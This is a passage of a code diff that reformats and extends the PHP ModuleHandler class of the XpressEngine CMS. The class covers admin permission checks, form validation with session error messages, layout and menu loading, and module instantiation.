strpos(strtolower($forward->act),'admin')!==false?'admin':''; - $type = $forward->type; - $ruleset = $forward->ruleset; - $tpl_path = $oModule->getTemplatePath(); - $orig_module = $oModule; - - if($type == "view" && Mobile::isFromMobilePhone()) + if($logged_info->is_admin == 'Y') { - $orig_type = "view"; - $type = "mobile"; - // create a module instance - $oModule = &$this->getModuleInstance($forward->module, $type, $kind); - if(!is_object($oModule) || !method_exists($oModule, $this->act)) { - $type = $orig_type; - Mobile::setMobile(false); - $oModule = &$this->getModuleInstance($forward->module, $type, $kind); + if($this->act != 'dispLayoutAdminLayoutModify') + { + $oAdminView = getAdminView('admin'); + $oAdminView->makeGnbUrl($forward->module); + $oModule->setLayoutPath("./modules/admin/tpl"); + $oModule->setLayoutFile("layout.html"); } } else { - $oModule = &$this->getModuleInstance($forward->module, $type, $kind); - } + $this->_setInputErrorToContext(); - if(!is_object($oModule)) { - $type = Mobile::isFromMobilePhone() ? 'mobile' : 'view'; - $oMessageObject = &ModuleHandler::getModuleInstance('message',$type); + $this->error = 'msg_is_not_administrator'; + $oMessageObject = ModuleHandler::getModuleInstance('message', $type); $oMessageObject->setError(-1); - $oMessageObject->setMessage('msg_module_is_not_exists'); + $oMessageObject->setMessage($this->error); $oMessageObject->dispMessage(); - if($this->httpStatusCode) - { - $oMessageObject->setHttpStatusCode($this->httpStatusCode); - } return $oMessageObject; } - - $xml_info = $oModuleModel->getModuleActionXml($forward->module); - $oMemberModel = &getModel('member'); - - if($this->module == "admin" && $type == "view") + } + if($kind == 'admin') + { + $grant = $oModuleModel->getGrant($this->module_info, $logged_info); + if(!$grant->is_admin && !$grant->manager) { - if($logged_info->is_admin=='Y'){ - if ($this->act != 'dispLayoutAdminLayoutModify') - { - $oAdminView = &getAdminView('admin'); - $oAdminView->makeGnbUrl($forward->module); - $oModule->setLayoutPath("./modules/admin/tpl"); - $oModule->setLayoutFile("layout.html"); - } - }else{ - $this->error = 'msg_is_not_administrator'; - $oMessageObject = &ModuleHandler::getModuleInstance('message',$type); - $oMessageObject->setError(-1); - $oMessageObject->setMessage($this->error); - $oMessageObject->dispMessage(); - return $oMessageObject; - } - } - if ($kind == 'admin'){ - $grant = $oModuleModel->getGrant($this->module_info, $logged_info); - if(!$grant->is_admin && !$grant->manager) { - $this->error = 'msg_is_not_manager'; - $oMessageObject = &ModuleHandler::getModuleInstance('message','view'); - $oMessageObject->setError(-1); - $oMessageObject->setMessage($this->error); - $oMessageObject->dispMessage(); - return $oMessageObject; - } - + $this->_setInputErrorToContext(); + $this->error = 'msg_is_not_manager'; + $oMessageObject = ModuleHandler::getModuleInstance('message', 'view'); + $oMessageObject->setError(-1); + $oMessageObject->setMessage($this->error); + $oMessageObject->dispMessage(); + return $oMessageObject; } } - else if($xml_info->default_index_act && method_exists($oModule, $xml_info->default_index_act)) + } + else if($xml_info->default_index_act && method_exists($oModule, $xml_info->default_index_act)) + { + $this->act = $xml_info->default_index_act; + } + else + { + $this->error = 'msg_invalid_request'; + $oModule->setError(-1); + $oModule->setMessage($this->error); + return $oModule; + } + } + + // ruleset check... + if(!empty($ruleset)) + { + $rulesetModule = $forward->module ? $forward->module : $this->module; + $rulesetFile = $oModuleModel->getValidatorFilePath($rulesetModule, $ruleset, $this->mid); + if(!empty($rulesetFile)) + { + if($_SESSION['XE_VALIDATOR_ERROR_LANG']) { - $this->act = $xml_info->default_index_act; + $errorLang = $_SESSION['XE_VALIDATOR_ERROR_LANG']; + foreach($errorLang as $key => $val) + { + Context::setLang($key, $val); + } + unset($_SESSION['XE_VALIDATOR_ERROR_LANG']); } - else + + $Validator = new Validator($rulesetFile); + $result = $Validator->validate(); + if(!$result) { - $this->error = 'msg_invalid_request'; + $lastError = $Validator->getLastError(); + $returnUrl = Context::get('error_return_url'); + $errorMsg = $lastError['msg'] ? $lastError['msg'] : 'validation error'; + + //for xml response $oModule->setError(-1); - $oModule->setMessage($this->error); + $oModule->setMessage($errorMsg); + //for html redirect + $this->error = $errorMsg; + $_SESSION['XE_VALIDATOR_ERROR'] = -1; + $_SESSION['XE_VALIDATOR_MESSAGE'] = $this->error; + $_SESSION['XE_VALIDATOR_MESSAGE_TYPE'] = 'error'; + $_SESSION['XE_VALIDATOR_RETURN_URL'] = $returnUrl; + $_SESSION['XE_VALIDATOR_ID'] = Context::get('xe_validator_id'); + $this->_setInputValueToSession(); return $oModule; } } + } - // ruleset check... - if(!empty($ruleset)) + $oModule->setAct($this->act); + + $this->module_info->module_type = $type; + $oModule->setModuleInfo($this->module_info, $xml_info); + + $skipAct = array( + 'dispEditorConfigPreview' => 1, + 'dispLayoutPreviewWithModule' => 1 + ); + if($type == "view" && $this->module_info->use_mobile == "Y" && Mobile::isMobileCheckByAgent() && !isset($skipAct[Context::get('act')])) + { + global $lang; + $header = ''; + $footer = ''; + Context::addHtmlHeader($header); + Context::addHtmlFooter($footer); + } + + if($type == "view" && $kind != 'admin') + { + $module_config = $oModuleModel->getModuleConfig('module'); + if($module_config->htmlFooter) { - $rulesetModule = $forward->module ? $forward->module : $this->module; - $rulesetFile = $oModuleModel->getValidatorFilePath($rulesetModule, $ruleset, $this->mid); - if(!empty($rulesetFile)) + Context::addHtmlFooter($module_config->htmlFooter); + } + if($module_config->siteTitle) + { + $siteTitle = Context::getBrowserTitle(); + if(!$siteTitle) { - if($_SESSION['XE_VALIDATOR_ERROR_LANG']) + Context::setBrowserTitle($module_config->siteTitle); + } + } + } + + // if failed message exists in session, set context + $this->_setInputErrorToContext(); + + $procResult = $oModule->proc(); + + $methodList = array('XMLRPC' => 1, 'JSON' => 1, 'JS_CALLBACK' => 1); + if(!$oModule->stop_proc && !isset($methodList[Context::getRequestMethod()])) + { + $error = $oModule->getError(); + $message = $oModule->getMessage(); + $messageType = $oModule->getMessageType(); + $redirectUrl = $oModule->getRedirectUrl(); + + if(!$procResult) + { + $this->error = $message; + if(!$redirectUrl && Context::get('error_return_url')) + { + $redirectUrl = Context::get('error_return_url'); + } + $this->_setInputValueToSession(); + } + else + { + + } + + $_SESSION['XE_VALIDATOR_ERROR'] = $error; + $_SESSION['XE_VALIDATOR_ID'] = Context::get('xe_validator_id'); + if($message != 'success') + { + $_SESSION['XE_VALIDATOR_MESSAGE'] = $message; + } + $_SESSION['XE_VALIDATOR_MESSAGE_TYPE'] = $messageType; + + if(Context::get('xeVirtualRequestMethod') != 'xml') + { + $_SESSION['XE_VALIDATOR_RETURN_URL'] = $redirectUrl; + } + } + + unset($logged_info); + return $oModule; + } + + /** + * set error message to Session. + * @return void + * */ + function _setInputErrorToContext() + { + if($_SESSION['XE_VALIDATOR_ERROR'] && !Context::get('XE_VALIDATOR_ERROR')) + { + Context::set('XE_VALIDATOR_ERROR', $_SESSION['XE_VALIDATOR_ERROR']); + } + if($_SESSION['XE_VALIDATOR_MESSAGE'] && !Context::get('XE_VALIDATOR_MESSAGE')) + { + Context::set('XE_VALIDATOR_MESSAGE', $_SESSION['XE_VALIDATOR_MESSAGE']); + } + if($_SESSION['XE_VALIDATOR_MESSAGE_TYPE'] && !Context::get('XE_VALIDATOR_MESSAGE_TYPE')) + { + Context::set('XE_VALIDATOR_MESSAGE_TYPE', $_SESSION['XE_VALIDATOR_MESSAGE_TYPE']); + } + if($_SESSION['XE_VALIDATOR_RETURN_URL'] && !Context::get('XE_VALIDATOR_RETURN_URL')) + { + Context::set('XE_VALIDATOR_RETURN_URL', $_SESSION['XE_VALIDATOR_RETURN_URL']); + } + if($_SESSION['XE_VALIDATOR_ID'] && !Context::get('XE_VALIDATOR_ID')) + { + Context::set('XE_VALIDATOR_ID', $_SESSION['XE_VALIDATOR_ID']); + } + if(count($_SESSION['INPUT_ERROR'])) + { + Context::set('INPUT_ERROR', $_SESSION['INPUT_ERROR']); + } + + $this->_clearErrorSession(); + } + + /** + * clear error message to Session. + * @return void + * */ + function _clearErrorSession() + { + $_SESSION['XE_VALIDATOR_ERROR'] = ''; + $_SESSION['XE_VALIDATOR_MESSAGE'] = ''; + $_SESSION['XE_VALIDATOR_MESSAGE_TYPE'] = ''; + $_SESSION['XE_VALIDATOR_RETURN_URL'] = ''; + $_SESSION['XE_VALIDATOR_ID'] = ''; + $_SESSION['INPUT_ERROR'] = ''; + } + + /** + * occured error when, set input values to session. + * @return void + * */ + function _setInputValueToSession() + { + $requestVars = Context::getRequestVars(); + unset($requestVars->act, $requestVars->mid, $requestVars->vid, $requestVars->success_return_url, $requestVars->error_return_url); + foreach($requestVars AS $key => $value) + { + $_SESSION['INPUT_ERROR'][$key] = $value; + } + } + + /** + * display contents from executed module + * @param ModuleObject $oModule module instance + * @return void + * */ + function displayContent($oModule = NULL) + { + // If the module is not set or not an object, set error + if(!$oModule || !is_object($oModule)) + { + $this->error = 'msg_module_is_not_exists'; + $this->httpStatusCode = '404'; + } + + // If connection to DB has a problem even though it's not install module, set error + if($this->module != 'install' && isset($GLOBALS['__DB__']) && $GLOBALS['__DB__'][Context::getDBType()]->isConnected() == FALSE) + { + $this->error = 'msg_dbconnect_failed'; + } + + // Call trigger after moduleHandler proc + $output = ModuleHandler::triggerCall('moduleHandler.proc', 'after', $oModule); + if(!$output->toBool()) + { + $this->error = $output->getMessage(); + } + + // Use message view object, if HTML call + $methodList = array('XMLRPC' => 1, 'JSON' => 1, 'JS_CALLBACK' => 1); + if(!isset($methodList[Context::getRequestMethod()])) + { + + if($_SESSION['XE_VALIDATOR_RETURN_URL']) + { + $display_handler = new DisplayHandler(); + $display_handler->_debugOutput(); + + header('location:' . $_SESSION['XE_VALIDATOR_RETURN_URL']); + return; + } + + // If error occurred, handle it + if($this->error) + { + // display content with message module instance + $type = Mobile::isFromMobilePhone() ? 'mobile' : 'view'; + $oMessageObject = ModuleHandler::getModuleInstance('message', $type); + $oMessageObject->setError(-1); + $oMessageObject->setMessage($this->error); + $oMessageObject->dispMessage(); + + if($oMessageObject->getHttpStatusCode() && $oMessageObject->getHttpStatusCode() != '200') + { + $this->_setHttpStatusMessage($oMessageObject->getHttpStatusCode()); + $oMessageObject->setTemplateFile('http_status_code'); + } + + // If module was called normally, change the templates of the module into ones of the message view module + if($oModule) + { + $oModule->setTemplatePath($oMessageObject->getTemplatePath()); + $oModule->setTemplateFile($oMessageObject->getTemplateFile()); + // Otherwise, set message instance as the target module + } + else + { + $oModule = $oMessageObject; + } + + $this->_clearErrorSession(); + } + + // Check if layout_srl exists for the module + if(Mobile::isFromMobilePhone()) + { + $layout_srl = $oModule->module_info->mlayout_srl; + } + else + { + $layout_srl = $oModule->module_info->layout_srl; + } + + // if layout_srl is rollback by module, set default layout + if($layout_srl == -1) + { + $viewType = (Mobile::isFromMobilePhone()) ? 'M' : 'P'; + $oLayoutAdminModel = getAdminModel('layout'); + $layout_srl = $oLayoutAdminModel->getSiteDefaultLayout($viewType, $oModule->module_info->site_srl); + } + + if($layout_srl && !$oModule->getLayoutFile()) + { + + // If layout_srl exists, get information of the layout, and set the location of layout_path/ layout_file + $oLayoutModel = getModel('layout'); + $layout_info = $oLayoutModel->getLayout($layout_srl); + if($layout_info) + { + + // Input extra_vars into $layout_info + if($layout_info->extra_var_count) { - $errorLang = $_SESSION['XE_VALIDATOR_ERROR_LANG']; - foreach($errorLang as $key => $val) + + foreach($layout_info->extra_var as $var_id => $val) { - Context::setLang($key, $val); + if($val->type == 'image') + { + if(preg_match('/^\.\/files\/attach\/images\/(.+)/i', $val->value)) + { + $val->value = Context::getRequestUri() . substr($val->value, 2); + } + } + $layout_info->{$var_id} = $val->value; } - unset($_SESSION['XE_VALIDATOR_ERROR_LANG']); } - - $Validator = new Validator($rulesetFile); - $result = $Validator->validate(); - if(!$result) + // Set menus into context + if($layout_info->menu_count) { - $lastError = $Validator->getLastError(); - $returnUrl = Context::get('error_return_url'); - $errorMsg = $lastError['msg'] ? $lastError['msg'] : 'validation error'; + foreach($layout_info->menu as $menu_id => $menu) + { + // set default menu set(included home menu) + if(!$menu->menu_srl || $menu->menu_srl == -1) + { + $oMenuAdminController = getAdminController('menu'); + $homeMenuCacheFile = $oMenuAdminController->getHomeMenuCacheFile(); - //for xml response - $oModule->setError(-1); - $oModule->setMessage($errorMsg); - //for html redirect - $this->error = $errorMsg; - $_SESSION['XE_VALIDATOR_ERROR'] = -1; - $_SESSION['XE_VALIDATOR_MESSAGE'] = $this->error; - $_SESSION['XE_VALIDATOR_MESSAGE_TYPE'] = 'error'; - $_SESSION['XE_VALIDATOR_RETURN_URL'] = $returnUrl; - $this->_setInputValueToSession(); - return $oModule; + if(file_exists($homeMenuCacheFile)) + { + @include($homeMenuCacheFile); + } + + if(!$menu->menu_srl) + { + $menu->xml_file = str_replace('.xml.php', $homeMenuSrl . '.xml.php', $menu->xml_file); + $menu->php_file = str_replace('.php', $homeMenuSrl . '.php', $menu->php_file); + $layout_info->menu->{$menu_id}->menu_srl = $homeMenuSrl; + } + else + { + $menu->xml_file = str_replace($menu->menu_srl, $homeMenuSrl, $menu->xml_file); + $menu->php_file = str_replace($menu->menu_srl, $homeMenuSrl, $menu->php_file); + } + } + if(file_exists($menu->php_file)) + { + @include($menu->php_file); + } + Context::set($menu_id, $menu); + } + } + + // Set layout information into context + Context::set('layout_info', $layout_info); + + $oModule->setLayoutPath($layout_info->path); + $oModule->setLayoutFile('layout'); + + // If layout was modified, use the modified version + $edited_layout = $oLayoutModel->getUserLayoutHtml($layout_info->layout_srl); + if(file_exists($edited_layout)) + { + $oModule->setEditedLayoutFile($edited_layout); } } } - - $oModule->setAct($this->act); - - $this->module_info->module_type = $type; - $oModule->setModuleInfo($this->module_info, $xml_info); - - if($type == "view" && $this->module_info->use_mobile == "Y" && Mobile::isMobileCheckByAgent()) + $isLayoutDrop = Context::get('isLayoutDrop'); + if($isLayoutDrop) { - global $lang; - $header = ''; - $footer = ''; - Context::addHtmlHeader($header); - Context::addHtmlFooter($footer); - } - - if($type == "view" && $kind != 'admin'){ - $module_config= $oModuleModel->getModuleConfig('module'); - if($module_config->htmlFooter){ - Context::addHtmlFooter($module_config->htmlFooter); - } - } - - - // if failed message exists in session, set context - $this->_setInputErrorToContext(); - - $procResult = $oModule->proc(); - - $methodList = array('XMLRPC'=>1, 'JSON'=>1); - if(!$oModule->stop_proc && !isset($methodList[Context::getRequestMethod()])) - { - $error = $oModule->getError(); - $message = $oModule->getMessage(); - $messageType = $oModule->getMessageType(); - $redirectUrl = $oModule->getRedirectUrl(); - - if (!$procResult) + $kind = strpos(strtolower($this->act), 'admin') !== FALSE ? 'admin' : ''; + if($kind == 'admin') { - $this->error = $message; - if (!$redirectUrl && Context::get('error_return_url')) $redirectUrl = Context::get('error_return_url'); - $this->_setInputValueToSession(); - + $oModule->setLayoutFile('popup_layout'); } else { - if(count($_SESSION['INPUT_ERROR'])) - { - Context::set('INPUT_ERROR', $_SESSION['INPUT_ERROR']); - $_SESSION['INPUT_ERROR'] = ''; - } + $oModule->setLayoutPath('common/tpl'); + $oModule->setLayoutFile('default_layout'); } - - $_SESSION['XE_VALIDATOR_ERROR'] = $error; - if ($message != 'success') $_SESSION['XE_VALIDATOR_MESSAGE'] = $message; - $_SESSION['XE_VALIDATOR_MESSAGE_TYPE'] = $messageType; - - if(Context::get('xeVirtualRequestMethod') != 'xml') - { - $_SESSION['XE_VALIDATOR_RETURN_URL'] = $redirectUrl; - } - } - - unset($logged_info); - return $oModule; - } - - /** - * set error message to Session. - * @return void - **/ - function _setInputErrorToContext() - { - if($_SESSION['XE_VALIDATOR_ERROR'] && !Context::get('XE_VALIDATOR_ERROR')) Context::set('XE_VALIDATOR_ERROR', $_SESSION['XE_VALIDATOR_ERROR']); - if($_SESSION['XE_VALIDATOR_MESSAGE'] && !Context::get('XE_VALIDATOR_MESSAGE')) Context::set('XE_VALIDATOR_MESSAGE', $_SESSION['XE_VALIDATOR_MESSAGE']); - if($_SESSION['XE_VALIDATOR_MESSAGE_TYPE'] && !Context::get('XE_VALIDATOR_MESSAGE_TYPE')) Context::set('XE_VALIDATOR_MESSAGE_TYPE', $_SESSION['XE_VALIDATOR_MESSAGE_TYPE']); - if($_SESSION['XE_VALIDATOR_RETURN_URL'] && !Context::get('XE_VALIDATOR_RETURN_URL')) Context::set('XE_VALIDATOR_RETURN_URL', $_SESSION['XE_VALIDATOR_RETURN_URL']); - - $this->_clearErrorSession(); - } - - /** - * clear error message to Session. - * @return void - **/ - function _clearErrorSession() - { - $_SESSION['XE_VALIDATOR_ERROR'] = ''; - $_SESSION['XE_VALIDATOR_MESSAGE'] = ''; - $_SESSION['XE_VALIDATOR_MESSAGE_TYPE'] = ''; - $_SESSION['XE_VALIDATOR_RETURN_URL'] = ''; - } - - /** - * occured error when, set input values to session. - * @return void - **/ - function _setInputValueToSession() - { - $requestVars = Context::getRequestVars(); - unset($requestVars->act, $requestVars->mid, $requestVars->vid, $requestVars->success_return_url, $requestVars->error_return_url); - foreach($requestVars AS $key=>$value) $_SESSION['INPUT_ERROR'][$key] = $value; - } - - /** - * display contents from executed module - * @param ModuleObject $oModule module instance - * @return void - **/ - function displayContent($oModule = NULL) { - // If the module is not set or not an object, set error - if(!$oModule || !is_object($oModule)) { - $this->error = 'msg_module_is_not_exists'; - $this->httpStatusCode = '404'; - } - - // If connection to DB has a problem even though it's not install module, set error - if($this->module != 'install' && $GLOBALS['__DB__'][Context::getDBType()]->isConnected() == false) { - $this->error = 'msg_dbconnect_failed'; - } - - // Call trigger after moduleHandler proc - $output = ModuleHandler::triggerCall('moduleHandler.proc', 'after', $oModule); - if(!$output->toBool()) $this->error = $output->getMessage(); - - // Use message view object, if HTML call - $methodList = array('XMLRPC'=>1, 'JSON'=>1); - if(!isset($methodList[Context::getRequestMethod()])) { - - if($_SESSION['XE_VALIDATOR_RETURN_URL']) - { - $display_handler = new DisplayHandler(); - $display_handler->_debugOutput(); - - header('location:'.$_SESSION['XE_VALIDATOR_RETURN_URL']); - return; - } - - // If error occurred, handle it - if($this->error) { - // display content with message module instance - $type = Mobile::isFromMobilePhone() ? 'mobile' : 'view'; - $oMessageObject = &ModuleHandler::getModuleInstance('message',$type); - $oMessageObject->setError(-1); - $oMessageObject->setMessage($this->error); - $oMessageObject->dispMessage(); - - if($oMessageObject->getHttpStatusCode() && $oMessageObject->getHttpStatusCode() != '200') - { - $this->_setHttpStatusMessage($oMessageObject->getHttpStatusCode()); - $oMessageObject->setTemplateFile('http_status_code'); - } - - // If module was called normally, change the templates of the module into ones of the message view module - if($oModule) { - $oModule->setTemplatePath($oMessageObject->getTemplatePath()); - $oModule->setTemplateFile($oMessageObject->getTemplateFile()); - // Otherwise, set message instance as the target module - } else { - $oModule = $oMessageObject; - } - - $this->_clearErrorSession(); - } - - // Check if layout_srl exists for the module - if(Mobile::isFromMobilePhone()) - { - $layout_srl = $oModule->module_info->mlayout_srl; - } - else - { - $layout_srl = $oModule->module_info->layout_srl; - } - - if($layout_srl && !$oModule->getLayoutFile()) { - - // If layout_srl exists, get information of the layout, and set the location of layout_path/ layout_file - $oLayoutModel = &getModel('layout'); - $layout_info = $oLayoutModel->getLayout($layout_srl); - if($layout_info) { - - // Input extra_vars into $layout_info - if($layout_info->extra_var_count) { - - foreach($layout_info->extra_var as $var_id => $val) { - if($val->type == 'image') { - if(preg_match('/^\.\/files\/attach\/images\/(.+)/i',$val->value)) $val->value = Context::getRequestUri().substr($val->value,2); - } - $layout_info->{$var_id} = $val->value; - } - } - // Set menus into context - if($layout_info->menu_count) { - foreach($layout_info->menu as $menu_id => $menu) { - if(file_exists($menu->php_file)) @include($menu->php_file); - Context::set($menu_id, $menu); - } - } - - // Set layout information into context - Context::set('layout_info', $layout_info); - - $oModule->setLayoutPath($layout_info->path); - $oModule->setLayoutFile('layout'); - - // If layout was modified, use the modified version - $edited_layout = $oLayoutModel->getUserLayoutHtml($layout_info->layout_srl); - if(file_exists($edited_layout)) $oModule->setEditedLayoutFile($edited_layout); - } - } - } - - // Display contents - $oDisplayHandler = new DisplayHandler(); - $oDisplayHandler->printContent($oModule); - } - - /** - * returns module's path - * @param string $module module name - * @return string path of the module - **/ - function getModulePath($module) { - return sprintf('./modules/%s/', $module); - } - - /** - * It creates a module instance - * @param string $module module name - * @param string $type instance type, (e.g., view, controller, model) - * @param string $kind admin or svc - * @return ModuleObject module instance (if failed it returns null) - * @remarks if there exists a module instance created before, returns it. - **/ - function &getModuleInstance($module, $type = 'view', $kind = '') { - - if(__DEBUG__==3) $start_time = getMicroTime(); - - $parent_module = $module; - $kind = strtolower($kind); - $type = strtolower($type); - - $kinds = array('svc'=>1, 'admin'=>1); - if(!isset($kinds[$kind])) $kind = 'svc'; - - $key = $module.'.'.($kind!='admin'?'':'admin').'.'.$type; - - if(is_array($GLOBALS['__MODULE_EXTEND__']) && array_key_exists($key, $GLOBALS['__MODULE_EXTEND__'])) - { - $module = $extend_module = $GLOBALS['__MODULE_EXTEND__'][$key]; } + } - // if there is no instance of the module in global variable, create a new one - if(!isset($GLOBALS['_loaded_module'][$module][$type][$kind])) + // Display contents + $oDisplayHandler = new DisplayHandler(); + $oDisplayHandler->printContent($oModule); + } + + /** + * returns module's path + * @param string $module module name + * @return string path of the module + * */ + function getModulePath($module) + { + return sprintf('./modules/%s/', $module); + } + + /** + * It creates a module instance + * @param string $module module name + * @param string $type instance type, (e.g., view, controller, model) + * @param string $kind admin or svc + * @return ModuleObject module instance (if failed it returns null) + * @remarks if there exists a module instance created before, returns it. + * */ + function &getModuleInstance($module, $type = 'view', $kind = '') + { + + if(__DEBUG__ == 3) + { + $start_time = getMicroTime(); + } + + $parent_module = $module; + $kind = strtolower($kind); + $type = strtolower($type); + + $kinds = array('svc' => 1, 'admin' => 1); + if(!isset($kinds[$kind])) + { + $kind = 'svc'; + } + + $key = $module . '.' . ($kind != 'admin' ? '' : 'admin') . '.' . $type; + + if(is_array($GLOBALS['__MODULE_EXTEND__']) && array_key_exists($key, $GLOBALS['__MODULE_EXTEND__'])) + { + $module = $extend_module = $GLOBALS['__MODULE_EXTEND__'][$key]; + } + + // if there is no instance of the module in global variable, create a new one + if(!isset($GLOBALS['_loaded_module'][$module][$type][$kind])) + { + ModuleHandler::_getModuleFilePath($module, $type, $kind, $class_path, $high_class_file, $class_file, $instance_name); + + if($extend_module && (!is_readable($high_class_file) || !is_readable($class_file))) { + $module = $parent_module; ModuleHandler::_getModuleFilePath($module, $type, $kind, $class_path, $high_class_file, $class_file, $instance_name); - - if($extend_module && (!is_readable($high_class_file) || !is_readable($class_file))) - { - $module = $parent_module; - ModuleHandler::_getModuleFilePath($module, $type, $kind, $class_path, $high_class_file, $class_file, $instance_name); - } - - // Get base class name and load the file contains it - if(!class_exists($module)) { - $high_class_file = sprintf('%s%s%s.class.php', _XE_PATH_,$class_path, $module); - if(!file_exists($high_class_file)) return NULL; - require_once($high_class_file); - } - - // Get the name of the class file - if(!is_readable($class_file)) return NULL; - - // Create an instance with eval function - require_once($class_file); - if(!class_exists($instance_name)) return NULL; - $tmp_fn = create_function('', "return new {$instance_name}();"); - $oModule = $tmp_fn(); - if(!is_object($oModule)) return NULL; - - // Load language files for the class - Context::loadLang($class_path.'lang'); - if($extend_module) { - Context::loadLang(ModuleHandler::getModulePath($parent_module).'lang'); - } - - // Set variables to the instance - $oModule->setModule($module); - $oModule->setModulePath($class_path); - - // If the module has a constructor, run it. - if(!isset($GLOBALS['_called_constructor'][$instance_name])) { - $GLOBALS['_called_constructor'][$instance_name] = true; - if(@method_exists($oModule, $instance_name)) $oModule->{$instance_name}(); - } - - // Store the created instance into GLOBALS variable - $GLOBALS['_loaded_module'][$module][$type][$kind] = $oModule; - } - - if(__DEBUG__==3) $GLOBALS['__elapsed_class_load__'] += getMicroTime() - $start_time; - - // return the instance - return $GLOBALS['_loaded_module'][$module][$type][$kind]; - } - - function _getModuleFilePath($module, $type, $kind, &$classPath, &$highClassFile, &$classFile, &$instanceName) - { - $classPath = ModuleHandler::getModulePath($module); - - $highClassFile = sprintf('%s%s%s.class.php', _XE_PATH_,$classPath, $module); - $highClassFile = FileHandler::getRealPath($highClassFile); - - $types = explode(' ', 'view controller model api wap mobile class'); - if(!in_array($type, $types)) $type = $types[0]; - if($type == 'class') { - $instanceName = '%s'; - $classFile = '%s%s.%s.php'; - } elseif($kind == 'admin' && array_search($type, $types) < 3) { - $instanceName = '%sAdmin%s'; - $classFile = '%s%s.admin.%s.php'; - } else{ - $instanceName = '%s%s'; - $classFile = '%s%s.%s.php'; } - $instanceName = sprintf($instanceName, $module, ucfirst($type)); - $classFile = sprintf($classFile, $classPath, $module, $type); - $classFile = FileHandler::getRealPath($classFile); + // Get base class name and load the file contains it + if(!class_exists($module)) + { + $high_class_file = sprintf('%s%s%s.class.php', _XE_PATH_, $class_path, $module); + if(!file_exists($high_class_file)) + { + return NULL; + } + require_once($high_class_file); + } + + // Get the name of the class file + if(!is_readable($class_file)) + { + return NULL; + } + + // Create an instance with eval function + require_once($class_file); + if(!class_exists($instance_name)) + { + return NULL; + } + $tmp_fn = create_function('', "return new {$instance_name}();"); + $oModule = $tmp_fn(); + if(!is_object($oModule)) + { + return NULL; + } + + // Load language files for the class + Context::loadLang($class_path . 'lang'); + if($extend_module) + { + Context::loadLang(ModuleHandler::getModulePath($parent_module) . 'lang'); + } + + // Set variables to the instance + $oModule->setModule($module); + $oModule->setModulePath($class_path); + + // If the module has a constructor, run it. + if(!isset($GLOBALS['_called_constructor'][$instance_name])) + { + $GLOBALS['_called_constructor'][$instance_name] = TRUE; + if(@method_exists($oModule, $instance_name)) + { + $oModule->{$instance_name}(); + } + } + + // Store the created instance into GLOBALS variable + $GLOBALS['_loaded_module'][$module][$type][$kind] = $oModule; } - /** - * call a trigger - * @param string $trigger_name trigger's name to call - * @param string $called_position called position - * @param object $obj an object as a parameter to trigger - * @return Object - **/ - function triggerCall($trigger_name, $called_position, &$obj) { - // skip if not installed - if(!Context::isInstalled()) return new Object(); - - $oModuleModel = &getModel('module'); - $triggers = $oModuleModel->getTriggers($trigger_name, $called_position); - if(!$triggers || !count($triggers)) return new Object(); - - foreach($triggers as $item) { - $module = $item->module; - $type = $item->type; - $called_method = $item->called_method; - - $oModule = null; - $oModule = &getModule($module, $type); - if(!$oModule || !method_exists($oModule, $called_method)) continue; - - $output = $oModule->{$called_method}($obj); - if(is_object($output) && method_exists($output, 'toBool') && !$output->toBool()) return $output; - unset($oModule); - } - - return new Object(); - } - - /** - * get http status message by http status code - * @param string $code - * @return string - **/ - function _setHttpStatusMessage($code) { - $statusMessageList = array( - '100'=>'Continue', - '101'=>'Switching Protocols', - '201'=>'OK', - '201'=>'Created', - '202'=>'Accepted', - '203'=>'Non-Authoritative Information', - '204'=>'No Content', - '205'=>'Reset Content', - '206'=>'Partial Content', - '300'=>'Multiple Choices', - '301'=>'Moved Permanently', - '302'=>'Found', - '303'=>'See Other', - '304'=>'Not Modified', - '305'=>'Use Proxy', - '307'=>'Temporary Redirect', - '400'=>'Bad Request', - '401'=>'Unauthorized', - '402'=>'Payment Required', - '403'=>'Forbidden', - '404'=>'Not Found', - '405'=>'Method Not Allowed', - '406'=>'Not Acceptable', - '407'=>'Proxy Authentication Required', - '408'=>'Request Timeout', - '409'=>'Conflict', - '410'=>'Gone', - '411'=>'Length Required', - '412'=>'Precondition Failed', - '413'=>'Request Entity Too Large', - '414'=>'Request-URI Too Long', - '415'=>'Unsupported Media Type', - '416'=>'Requested Range Not Satisfiable', - '417'=>'Expectation Failed', - '500'=>'Internal Server Error', - '501'=>'Not Implemented', - '502'=>'Bad Gateway', - '503'=>'Service Unavailable', - '504'=>'Gateway Timeout', - '505'=>'HTTP Version Not Supported', - ); - $statusMessage = $statusMessageList[$code]; - if(!$statusMessage) $statusMessage = 'OK'; - - Context::set('http_status_code', $code); - Context::set('http_status_message', $statusMessage); + if(__DEBUG__ == 3) + { + $GLOBALS['__elapsed_class_load__'] += getMicroTime() - $start_time; } - } + + // return the instance + return $GLOBALS['_loaded_module'][$module][$type][$kind]; + } + + function _getModuleFilePath($module, $type, $kind, &$classPath, &$highClassFile, &$classFile, &$instanceName) + { + $classPath = ModuleHandler::getModulePath($module); + + $highClassFile = sprintf('%s%s%s.class.php', _XE_PATH_, $classPath, $module); + $highClassFile = FileHandler::getRealPath($highClassFile); + + $types = explode(' ', 'view controller model api wap mobile class'); + if(!in_array($type, $types)) + { + $type = $types[0]; + } + if($type == 'class') + { + $instanceName = '%s'; + $classFile = '%s%s.%s.php'; + } + elseif($kind == 'admin' && array_search($type, $types) < 3) + { + $instanceName = '%sAdmin%s'; + $classFile = '%s%s.admin.%s.php'; + } + else + { + $instanceName = '%s%s'; + $classFile = '%s%s.%s.php'; + } + + $instanceName = sprintf($instanceName, $module, ucfirst($type)); + $classFile = sprintf($classFile, $classPath, $module, $type); + $classFile = FileHandler::getRealPath($classFile); + } + + /** + * call a trigger + * @param string $trigger_name trigger's name to call + * @param string $called_position called position + * @param object $obj an object as a parameter to trigger + * @return Object + * */ + function triggerCall($trigger_name, $called_position, &$obj) + { + // skip if not installed + if(!Context::isInstalled()) + { + return new Object(); + } + + $oModuleModel = getModel('module'); + $triggers = $oModuleModel->getTriggers($trigger_name, $called_position); + if(!$triggers || !count($triggers)) + { + return new Object(); + } + + foreach($triggers as $item) + { + $module = $item->module; + $type = $item->type; + $called_method = $item->called_method; + + $oModule = NULL; + $oModule = getModule($module, $type); + if(!$oModule || !method_exists($oModule, $called_method)) + { + continue; + } + + $output = $oModule->{$called_method}($obj); + if(is_object($output) && method_exists($output, 'toBool') && !$output->toBool()) + { + return $output; + } + unset($oModule); + } + + return new Object(); + } + + /** + * get http status message by http status code + * @param string $code + * @return string + * */ + function _setHttpStatusMessage($code) + { + $statusMessageList = array( + '100' => 'Continue', + '101' => 'Switching 